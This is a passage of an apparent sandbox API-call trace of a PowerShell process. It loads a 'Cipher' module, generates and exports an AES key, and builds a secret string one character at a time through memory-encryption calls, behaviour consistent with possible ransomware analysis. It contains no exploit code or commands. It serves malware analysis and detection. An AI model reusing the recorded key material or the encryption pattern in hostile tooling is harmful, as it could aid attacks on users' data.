dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.539] GetConsoleOutputCP () returned 0x1b5 [0130.540] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.540] GetConsoleOutputCP () returned 0x1b5 [0130.540] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.540] GetConsoleOutputCP () returned 0x1b5 [0130.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.541] GetConsoleOutputCP () returned 0x1b5 [0130.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.541] GetConsoleOutputCP () returned 0x1b5 [0130.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.541] GetConsoleOutputCP () returned 0x1b5 [0130.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.542] GetConsoleOutputCP () returned 0x1b5 [0130.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.542] GetConsoleOutputCP () returned 0x1b5 [0130.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.543] GetConsoleOutputCP () returned 0x1b5 [0130.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.543] GetConsoleOutputCP () returned 0x1b5 [0130.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.544] GetConsoleOutputCP () returned 0x1b5 [0130.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.544] GetConsoleOutputCP () returned 0x1b5 [0130.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.545] GetConsoleOutputCP () returned 0x1b5 [0130.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.545] GetConsoleOutputCP () returned 0x1b5 [0130.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.545] GetConsoleOutputCP () returned 0x1b5 [0130.546] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.546] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0130.546] GetConsoleOutputCP () returned 0x1b5 [0130.547] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0130.547] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0130.547] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x692c9bc*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x692c9bc*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0130.548] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0130.548] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0130.554] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.555] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.556] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x4b00\x68f\x4bd8\x68f\x4b90\x68f\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0130.556] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0130.556] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.556] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.556] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.557] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0130.557] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0130.557] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.557] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.558] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.558] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x4396570) returned 1 [0130.559] CryptGenKey (in: hProv=0x4396570, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e849f8) returned 1 [0130.559] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.559] CryptExportKey (in: hKey=0x8e849f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0130.559] CryptExportKey (in: hKey=0x8e849f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69366b0, pdwDataLen=0x99ae7f8 | out: pbData=0x69366b0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0130.559] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.560] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.560] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.560] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.560] SysStringLen (param_1="") returned 0x8 [0130.560] SysStringLen (param_1="w") returned 0x8 [0130.560] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.560] SysStringLen (param_1="␪ᑶ扟璇䛫ꃸ슸瘝") returned 0x8 [0130.560] SysStringLen (param_1="␪ᑶ扟璇䛫ꃸ슸瘝") returned 0x8 [0130.560] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.561] SysStringLen (param_1="w5") returned 0x8 [0130.561] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.561] SysStringLen (param_1="\x5f2\xea02\x85d2\x22d2\xebe3\x929c\x5561\x3ff2") returned 0x8 [0130.561] SysStringLen (param_1="\x5f2\xea02\x85d2\x22d2\xebe3\x929c\x5561\x3ff2") returned 0x8 [0130.561] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.561] SysStringLen (param_1="w5T") returned 0x8 [0130.561] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.561] SysStringLen (param_1="\x3dd2\xf681\xf1c6\x472f\x84c8\xdff3\x86f3\x1823") returned 0x8 [0130.561] SysStringLen (param_1="\x3dd2\xf681\xf1c6\x472f\x84c8\xdff3\x86f3\x1823") returned 0x8 [0130.561] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.561] SysStringLen (param_1="w5Td") returned 0x8 [0130.561] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.561] SysStringLen (param_1="\x57bb\xd788\xb7e9\x8dd8\x550d\xa02c\x9878\xb3e8") returned 0x8 [0130.561] SysStringLen (param_1="\x57bb\xd788\xb7e9\x8dd8\x550d\xa02c\x9878\xb3e8") returned 0x8 [0130.561] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.561] SysStringLen (param_1="w5Tdt") returned 0x8 [0130.561] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.562] SysStringLen (param_1="\xfbb6\x4e1e\x2b07\xbaea\xae4f\xe233\x2d05\x2f51") returned 0x8 [0130.562] SysStringLen (param_1="\xfbb6\x4e1e\x2b07\xbaea\xae4f\xe233\x2d05\x2f51") returned 0x8 [0130.562] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.562] SysStringLen (param_1="w5Tdtz") returned 0x8 [0130.562] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.562] SysStringLen (param_1="\x820\x62a0\x9170\x5de1\x6086\xddb3\xe58c\x3f4c") returned 0x8 [0130.562] SysStringLen (param_1="\x820\x62a0\x9170\x5de1\x6086\xddb3\xe58c\x3f4c") returned 0x8 [0130.562] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.562] SysStringLen (param_1="w5Tdtz9") returned 0x8 [0130.562] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.562] SysStringLen (param_1="\x3ed8\xe4be\x9b91\x5705\x7d0\x555e\x1e52\x71b4") returned 0x8 [0130.562] SysStringLen (param_1="\x3ed8\xe4be\x9b91\x5705\x7d0\x555e\x1e52\x71b4") returned 0x8 [0130.562] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.562] SysStringLen (param_1="w5Tdtz9S") returned 0x8 [0130.562] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.562] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7") returned 0x8 [0130.563] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7") returned 0x8 [0130.563] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7") returned 0x8 [0130.563] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7") returned 0x10 [0130.563] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.563] SysStringLen (param_1="w5Tdtz9Sh躡佴ⴐ뾣嶁") returned 0x10 [0130.563] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.563] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x9054\x4b28\xe349\xbf40\xa042\xd721\x7d2d\xfc4") returned 0x10 [0130.563] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x9054\x4b28\xe349\xbf40\xa042\xd721\x7d2d\xfc4") returned 0x10 [0130.563] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.563] SysStringLen (param_1="w5Tdtz9Shm佴ⴐ뾣嶁") returned 0x10 [0130.563] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.563] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x47a2\xf033\xcd2e\xc51a\xff35\xea49\x963b\xf3a8") returned 0x10 [0130.563] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x47a2\xf033\xcd2e\xc51a\xff35\xea49\x963b\xf3a8") returned 0x10 [0130.563] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.563] SysStringLen (param_1="w5Tdtz9ShmC佴ⴐ뾣嶁") returned 0x10 [0130.563] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.564] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x5789\xbce0\x96d8\x3436\x15a9\x941a\x551e\x1f4c") returned 0x10 [0130.564] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x5789\xbce0\x96d8\x3436\x15a9\x941a\x551e\x1f4c") returned 0x10 [0130.564] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.564] SysStringLen (param_1="w5Tdtz9ShmCCⴐ뾣嶁") returned 0x10 [0130.564] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.564] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x99c3\xa720\x41b6\x9fd3\xfaed\xb51\x25bc\x175f") returned 0x10 [0130.564] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x99c3\xa720\x41b6\x9fd3\xfaed\xb51\x25bc\x175f") returned 0x10 [0130.564] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.564] SysStringLen (param_1="w5Tdtz9ShmCCU뾣嶁") returned 0x10 [0130.564] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.564] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x2c56\x7dc\x7d6d\x82df\x334\xb70c\xa79b\x8be") returned 0x10 [0130.564] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x2c56\x7dc\x7d6d\x82df\x334\xb70c\xa79b\x8be") returned 0x10 [0130.564] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.564] SysStringLen (param_1="w5Tdtz9ShmCCUW嶁") returned 0x10 [0130.564] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.564] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xb414\x7650\x84f2\xe05\xa174\x218e\x7152\xebfe") returned 0x10 [0130.564] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xb414\x7650\x84f2\xe05\xa174\x218e\x7152\xebfe") returned 0x10 [0130.565] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.565] SysStringLen (param_1="w5Tdtz9ShmCCUWi") returned 0x10 [0130.565] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.565] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x71b7\x7f9a\xe047\x991c\xf03c\xafcb\xbe34\x5492") returned 0x10 [0130.565] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\x71b7\x7f9a\xe047\x991c\xf03c\xafcb\xbe34\x5492") returned 0x10 [0130.565] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.565] SysStringLen (param_1="w5Tdtz9ShmCCUWik") returned 0x10 [0130.565] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.565] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040") returned 0x10 [0130.565] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040") returned 0x10 [0130.565] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040") returned 0x10 [0130.565] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040") returned 0x18 [0130.565] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.565] SysStringLen (param_1="w5Tdtz9ShmCCUWik7屛踈垡쵸⛼킓") returned 0x18 [0130.565] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.566] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x551e\x9059\x119c\x6f1c\x2049\x254b\xe4fd\xd752") returned 0x18 [0130.566] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x551e\x9059\x119c\x6f1c\x2049\x254b\xe4fd\xd752") returned 0x18 [0130.566] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.566] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T踈垡쵸⛼킓") returned 0x18 [0130.566] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.566] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\xa404\xe33\x1098\x2fe3\xcc44\x344\xda23\xd689") returned 0x18 [0130.566] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\xa404\xe33\x1098\x2fe3\xcc44\x344\xda23\xd689") returned 0x18 [0130.566] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.566] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8垡쵸⛼킓") returned 0x18 [0130.566] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.566] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x8c69\xef06\xc6ce\x8ed9\x8814\xbbdd\x9351\xb15c") returned 0x18 [0130.566] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x8c69\xef06\xc6ce\x8ed9\x8814\xbbdd\x9351\xb15c") returned 0x18 [0130.566] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.566] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/쵸⛼킓") returned 0x18 [0130.566] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.566] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x248\xbf6\x87f\x3c6\x2a2\xf97d\xe73d\xc0de") returned 0x18 [0130.566] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x248\xbf6\x87f\x3c6\x2a2\xf97d\xe73d\xc0de") returned 0x18 [0130.566] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.567] SysStringLen (param_1="w5Tdtz9ShmCCUWik7T8/l⛼킓") returned 0x18 [0130.567] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.567] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x49ed\xc88e\x5a77\x21dd\x5490\xaf91\xad92\x5ed") returned 0x18 [0130.567] SysStringLen (param_1="\xdf02\x8e8b\x90b7\x4e72\xe9d0\xab36\x187a\xdbf7\xdb5b\x5c71\xfd40\x56a7\x9b8\x3269\xb0fb\xe040\x49ed\xc88e\x5a77\x21dd\x5490\xaf91\xad92\x5ed") returned 0x18 [0130.567] SystemFunction041 (in: 